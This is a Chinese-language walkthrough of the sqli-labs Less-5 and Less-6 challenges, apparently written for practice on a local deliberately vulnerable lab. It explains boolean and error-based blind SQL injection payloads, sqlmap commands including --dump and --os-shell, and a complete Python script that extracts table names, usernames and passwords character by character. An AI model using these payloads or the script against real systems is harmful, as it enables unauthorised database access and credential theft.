SQL注入之盲注
Less_5 GET-二次注入-单引号-字符型
sqli-labs (less-5)_sqli-labs less 5-CSDN博客
源码为:
$id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
SELECT * FROM users WHERE id='$id' LIMIT 0,1 如果传入 ?id=1' and 1=1 SELECT * FROM users WHERE id='1' and 1=1' LIMIT 0,1 这个闭合方法不对 ?id=1' and '1'and '1 SELECT * FROM users WHERE id='1' and '1'and '1' LIMIT 0,1 这个闭合方法就是对的,数字可以加单引号
这个题
用?id=1'
发现报错,是字符型注入
猜解还是4
用union联合注入,发现只会显示You are in………
第一种方法 Boolean注入攻击
页面只返回Yes或者No,不返回数据库中的数据,所以我们在这里不使用union注入
length(database())>=1
,判断当前数据库长度是否>=1,正确输出1,错误输出0 substr(database(),1,1)='s'
,判断当前数据库的第一个字母是否为s,正确输出1,错误输出0,substr的作用是截取长度 ord(substr(database(),1,1))=115
,转ASCII码判断,正确输出1,错误输出0 substr((select table_name from information_schema.tables where table_schema='A' limit 0,1),1,1)='e'
,判断A库下面第一张表的第一个字母是否为e,正确输出1,错误输出0 substr((select column_name from information_schema.tables where table_name='B' limit 0,1),1,1)='e'
,判断B表下面的第一个字段的第一个字母是否为e,正确输出1,错误输出0 substr((select C from A.B limit 0,1),1,1)='e'
,判断C字段下面的第一个值的第一个字母是否为e,正确输出1,错误输出0
substr函数和limit函数的介绍
-
substr()函数
在mysql数据库中,substr()函数是用来截取数据库某一列字段中的部分
-
limit()函数
limit可以强制select语句返回指定的记录数
substr函数和limit函数的用法和意思其实差不多,但是substr函数的索引值是从1开始的,而limit函数的索引值是从0开始
好的,现在回到这道题
?id=1' and length(database())>=1 --+
没有报错
为9时,有报错信息
说明数据库的长度大于1小于9
?id=1' and substr(database(),1,1)='s'--+
没有报错(其他字母会报错),所以当前数据库的第一个字母是s
但是这样一个个猜太麻烦,直接抓包进行爆破
可以得到当前数据库是'security'
接着可以往下继续猜表名,爆破(修改Limit的值)
substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'
猜列名,爆破
substr((select column_name from information_schema.columns where column_schema='users' limit 0,1),1,1)='e'
?id=1'and length((select database()))>9--+ #大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4 ?id=1'and ascii(substr((select database()),1,1))=115--+ #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii,这样我们可以很好确定数字根据数字找到对应的字符。 看数据库名的第一个字母是不是ascll码值为115的值("s") ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+ 判断所有表名字符长度。 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ 逐一判断表名 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ 判断所有字段名的长度 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+ 逐一判断字段名。 ?id=1' and length((select group_concat(username,password) from users))>109--+ 判断字段内容长度 ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ 逐一检测内容。
第二种方法,可以直接使用工具sqlmap
和第一道题差不多
python2 sqlmap.py -u http://127.0.0.1:8989/Less-5/?id=1 -D security -T users -C "id,password,username" --dump
直接用
·python2 sqlmap.py -u http://127.0.0.1:8989/Less-5/?id=1 --current-user
得到当前数据库的名称
好像有些题也可以直接用python2 sqlmap.py -u http://127.0.0.1:8989/Less-5/?id=1 --os-shell
ls /
得到列表 系统交互shell
第三种方法 盲注脚本
import requests # 数据库库名长度 def db_length(): db_len = 1 while True: str_db_len = str(db_len) db_len_url = url + "' and length(database())=" + str_db_len + "--+" r = requests.get(db_len_url) if flag in r.text: print("\n当前数据库名长度为:%s" % str_db_len) break else: db_len = db_len + 1 return db_len # 猜解当前数据库库名 def db_name(): low = 32 high = 126 i = 1 km = "" while (i <= db_len): str_i = '%d' % i if (low + high) % 2 == 0: mid = (low + high) / 2 elif (low + high) % 2 != 0: mid = (low + high + 1) / 2 str_mid = '%d' % mid name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1)," + str_i + ",1))=" + str_mid + "--+" response = requests.get(name_url) if flag in response.text: km += chr(int(mid)) print(km) i = i + 1 low = 32 high = 126 elif flag not in response.text: name_url = url + "' and ascii(substr((select schema_name from information_schema.schemata limit 5,1)," + str_i + ",1))>" + str_mid + "--+" response = requests.get(name_url) if flag in response.text: low = mid elif flag not in response.text: high = mid print("当前数据库库名为:" + km) return km # 判断表的个数 def table_num(): for i in range(20): str_i = '%d' % i num_url = url + "' and (select count(table_name) from information_schema.tables where table_schema='" + db_name + "')=" + str_i + "--+" r = requests.get(num_url) if flag in r.text: print("\n数据表个数为:%s" % str_i) break return i # 判断表名长度 def table_len(): t_len = [] for i in range(0, table_num): str_i = str(i) for j in range(1, 20): str_j = str(j) len_url = url + "' and (select length(table_name) from information_schema.tables where table_schema='" + db_name + "' limit " + str_i + ",1)=" + str_j + "%23" r = requests.get(len_url) if flag in r.text: print("第" + str(i + 1) + "张表的表名长度为:" + str_j) t_len.append(j) break return t_len # 猜解表名 def table_name(): tname = {} for i in range(0, table_num): str_i = str(i) for j in range(table_num): if i == j: k = 1 low = 32 high = 126 bm = "" while (k <= t_len[j]): str_k = str(k) if (low + high) % 2 == 0: mid = (low + high) / 2 elif (low + high) % 2 != 0: mid = (low + high + 1) / 2 str_mid = str(mid) name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+" r = requests.get(name_url) if flag in r.text: bm += chr(int(mid)) print(bm) k = k + 1 low = 32 high = 126 elif flag not in r.text: name_url = url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+" r = requests.get(name_url) if flag in r.text: low = mid elif flag not in r.text: high = mid tname[str(j + 1)] = str(bm) for key, value in tname.items(): print("[+]| " + key + " | " + value) return tname # 判断表中列个数 def column_num(): for i in range(10): str_i = str(i) num_url = url + "' and (select count(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "')=" + str_i + "--+" r = requests.get(num_url) if flag in r.text: print(table_name + "表中列的个数为:%s" % str_i) break return i # 判断列名长度 def column_len(): c_len = [] for i in range(0, column_num): str_i = str(i) for j in range(1, 20): str_j = str(j) len_url = url + "' and (select length(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "'limit " + str_i + ",1)=" + str_j + "%23" r = requests.get(len_url) if flag in r.text: c_len.append(j) print("第" + str(i + 1) + "列的列名长度为:" + str_j) break return c_len # 猜解列名 def column_name(): cname = {} for i in range(0, column_num): str_i = str(i) for j in range(column_num): if i == j: k = 1 low = 32 high = 126 cm = '' while k <= column_len[j]: str_k = str(k) mid = 0 if (low + high) % 2 == 0: mid = (low + high) / 2 elif (low + high) % 2 != 0: mid = (low + high + 1) / 2 str_mid = str(mid) name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+" r = requests.get(name_url) if flag in r.text: cm += chr(int(mid)) print(cm) k = k + 1 low = 32 high = 126 elif flag not in r.text: name_url = url + "' and ascii(substr((select column_name from information_schema.columns where table_name='" + table_name + "' and table_schema='" + db_name + "' limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+" r = requests.get(name_url) if flag in r.text: low = mid elif flag not in r.text: high = mid cname[str(j)] = str(cm) for key, value in cname.items(): print("[+]| " + str(int(key) + 1) + " | " + value) return cname # 判断字段个数 def dump_num(): for i in range(0, column_num): for j in range(20): str_j = str(j) num_url = url + "' and (select count(" + cname[ str(i)] + ") from " + db_name + "." + table_name + ")=" + str_j + "--+" r = requests.get(num_url) if flag in r.text: print(cname[str(i)] + "列中的字段数为:%s" % str_j) break return j # 判断字段长度 def dump_len(): user_len = [] pass_len = [] for i in range(0, dump_num): str_i = str(i) for j in range(1, 33): str_j = str(j) len_url = url + "' and (select length(username) from " + db_name + "." + table_name + " limit " + str_i + ",1)=" + str_j + "%23" r = requests.get(len_url) if flag in r.text: user_len.append(j) print("username第" + str(i + 1) + "个字段长度为:" + str_j) break for k in range(1, 33): str_k = str(k) len_url = url + "' and (select length(password) from " + db_name + "." + table_name + " limit " + str_i + ",1)=" + str_k + "%23" r = requests.get(len_url) if flag in r.text: pass_len.append(k) print("password第" + str(i + 1) + "个字段长度为:" + str_k) break return (user_len, pass_len) # 猜解字段值 def dump(): username = {} password = {} for i in range(0, dump_num): str_i = str(i) for j in range(dump_num): if i == j: k = 1 p = 1 low = 32 high = 126 uname = '' pword = '' while k <= user_len[j]: str_k = str(k) if (low + high) % 2 == 0: mid = (low + high) / 2 elif (low + high) % 2 != 0: mid = (low + high + 1) / 2 str_mid = str(mid) user_url = url + "' and ascii(substr((select username from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_k + ",1))=" + str_mid + "--+" r = requests.get(user_url) if flag in r.text: uname += chr(int(mid)) print(str(i + 1) + "| usename:" + uname) k = k + 1 low = 32 high = 126 elif flag not in r.text: user_url = url + "' and ascii(substr((select username from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_k + ",1))>" + str_mid + "--+" r = requests.get(user_url) if flag in r.text: low = mid elif flag not in r.text: high = mid username[str(j)] = str(uname) while p <= pass_len[j]: str_p = str(p) if (low + high) % 2 == 0: mid = (low + high) / 2 elif (low + high) % 2 != 0: mid = (low + high + 1) / 2 str_mid = str(mid) pass_url = url + "' and ascii(substr((select password from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_p + ",1))=" + str_mid + "--+" r = requests.get(pass_url) if flag in r.text: pword += chr(int(mid)) print(str(i + 1) + "| password:" + pword) p = p + 1 low = 32 high = 126 elif flag not in r.text: pass_url = url + "' and ascii(substr((select password from " + db_name + "." + table_name + " limit " + str_i + ",1)," + str_p + ",1))>" + str_mid + "--+" r = requests.get(pass_url) if flag in r.text: low = mid elif flag not in r.text: high = mid password[str(j)] = str(pword) for x in range(0, 13): print("|" + str(x + 1) + "|username:" + username[str(x)] + "|password:" + password[str(x)] + "|") # 程序入口 if (__name__ == "__main__"): url = "http://127.0.0.1:8989/Less-5/?id=1" //这里修改一下 flag = "You are in..........." print("..........开始猜解当前数据库库名长度..........") db_len = db_length() print("\n............开始猜解当前数据库库名............") db_name = db_name() print("\n.............开始判断数据表的个数.............") table_num = table_num() print("\n...............开始判断表名长度...............\n") t_len = table_len() print("\n.................开始猜解表名.................\n") tname = table_name() table_name = input("\n请选择一张表:") print("\n.............开始判断表中列的个数.............\n") column_num = column_num() print("\n...............开始判断列名长度...............\n") column_len = column_len() print("\n.................开始猜解列名.................\n") cname = column_name() print("\n................开始判断字段数................\n") dump_num = dump_num() print("\n...............开始判断字段长度...............\n") user_len, pass_len = dump_len() print("\n................开始猜解字段值................\n") dump()
第四种方法 报错注入攻击
当我们构造我们的SQL语句构造错误时,屏幕会将我们具体的错误全部显示出来
updatexml(1,concat(0x7e,(database()),0x7e),1) 查看当前库 0x7e是’~‘16进制转换的结果 updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='A' limit 0,1),0x7e),1) 查看A库下的第一张表 updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='B' limit 0,1),0x7e),1) 查看B表里面的第一个字段 updatexml(1,concat(0x7e,(select C from A.B limit 0,1),0x7e),1) 查看C列的字段数
查看security数据库底下的表名(修改LIMIT的值)
查看Users底下的列名
查看username额字段值,也是改变limit的值,感觉就是挨着找
感觉这道题最简单的做法就是直接用工具
Less_6 GET-二次注入-双引号-字符型
先查看源码
$id = '"'.$id.'"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
可以看到id被双引号给括起来了
就是把上道的单引号换为双引号即可
直接用工具
真的感觉盲注用工具简单